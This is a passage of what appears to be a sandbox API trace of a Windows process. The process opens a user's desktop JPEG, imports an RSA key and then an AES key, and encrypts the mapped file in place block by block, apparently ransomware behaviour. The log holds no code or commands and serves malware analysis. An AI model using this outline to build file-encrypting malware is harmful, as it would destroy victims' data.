"c:\\users\\fd1hvy\\desktop\\k8oacau9ahjhrkixfhlw.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0163.934] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x3e0ebbc | out: lpFileSize=0x3e0ebbc*=89962) returned 1 [0163.934] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x15a46, lpNewFilePointer=0x0, dwMoveMethod=0x3e0ebb0 | out: lpNewFilePointer=0x0) returned 1 [0163.934] ReadFile (in: hFile=0x39c, lpBuffer=0x3e0e664, nNumberOfBytesToRead=0x524, lpNumberOfBytesRead=0x3e0ebac, lpOverlapped=0x0 | out: lpBuffer=0x3e0e664*, lpNumberOfBytesRead=0x3e0ebac*=0x524, lpOverlapped=0x0) returned 1 [0163.935] GetTickCount () returned 0x1168b4f [0163.935] GetTickCount () returned 0x1168b4f [0163.935] GetTickCount () returned 0x1168b4f [0163.935] GetTickCount () returned 0x1168b4f [0163.935] GetTickCount () returned 0x1168b4f [0163.935] GetTickCount () returned 0x1168b4f [0163.935] GetTickCount () returned 0x1168b4f [0163.935] GetTickCount () returned 0x1168b4f [0163.935] GetTickCount () returned 0x1168b4f [0163.935] GetTickCount () returned 0x1168b4f [0163.935] GetTickCount () returned 0x1168b4f [0163.935] GetTickCount () returned 0x1168b4f [0163.935] GetTickCount () returned 0x1168b4f [0163.935] GetTickCount () returned 0x1168b4f [0163.935] GetTickCount () returned 0x1168b4f [0163.935] GetTickCount () returned 0x1168b4f [0163.935] GetTickCount () returned 0x1168b4f [0163.935] GetTickCount () returned 0x1168b4f [0163.935] GetTickCount () returned 0x1168b4f [0163.935] GetTickCount () returned 0x1168b4f [0163.935] GetTickCount () returned 0x1168b4f [0163.935] GetTickCount () returned 0x1168b4f [0163.935] GetTickCount () returned 0x1168b4f [0163.936] GetTickCount () returned 0x1168b4f [0163.936] GetTickCount () returned 0x1168b4f [0163.936] GetTickCount () returned 0x1168b4f [0163.936] GetTickCount () returned 0x1168b4f [0163.936] GetTickCount () returned 0x1168b4f [0163.936] GetTickCount () returned 0x1168b4f [0163.936] GetTickCount () returned 0x1168b4f [0163.936] GetTickCount () returned 0x1168b4f [0163.936] GetTickCount () returned 0x1168b4f [0163.936] CryptAcquireContextW (in: phProv=0x3e0e644, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0e644*=0x1668570) returned 1 [0163.936] CryptImportKey (in: hProv=0x1668570, pbData=0x3e0e5ac, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0e650 | out: phKey=0x3e0e650*=0x1639868) returned 1 [0163.937] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0eafc*, pdwDataLen=0x3e0e640*=0x75, dwBufLen=0x80 | out: pbData=0x3e0eafc*, pdwDataLen=0x3e0e640*=0x80) returned 1 [0163.937] CryptDestroyKey (hKey=0x1639868) returned 1 [0163.937] CryptReleaseContext (hProv=0x1668570, dwFlags=0x0) returned 1 [0163.937] CreateFileMappingW (hFile=0x39c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x15f6a, lpName=0x0) returned 0x380 [0163.937] MapViewOfFile (hFileMappingObject=0x380, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x15f6a) returned 0x14a0000 [0163.938] CryptAcquireContextW (in: phProv=0x3e0e634, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0e634*=0x16688a0) returned 1 [0163.939] CryptImportKey (in: hProv=0x16688a0, pbData=0x3e0e5ec, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0e644 | out: phKey=0x3e0e644*=0x16394e8) returned 1 [0163.939] CryptSetKeyParam (hKey=0x16394e8, dwParam=0x4, pbData=0x3e0e628*=0x2, dwFlags=0x0) returned 1 [0163.939] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0e630*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0e630*=0x10) returned 1 [0163.939] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.939] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.939] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.939] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.939] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.939] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.939] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.939] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.939] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.940] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.940] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.940] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.940] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.940] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.940] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.940] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.940] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.940] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.940] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.940] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.940] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.940] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.940] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.940] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.940] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.940] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.940] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.940] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.940] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.940] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.940] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.941] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.941] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.941] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.941] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.941] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.941] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.941] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.941] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.941] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.941] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.941] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.941] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.941] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.941] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.941] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.941] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.941] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.941] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.942] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.942] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.942] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.942] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.942] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.942] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.942] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.942] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.942] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.942] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.942] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.942] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.942] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.942] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.942] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.942] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.942] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.942] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.943] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.943] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.943] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.943] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.943] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.943] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.943] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.943] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.943] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.943] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.943] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.943] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.943] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.943] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.943] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.943] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.943] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.943] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.943] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.943] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.943] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.944] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.944] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.944] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.944] CryptEncrypt (in: hKey=0x16394e8, 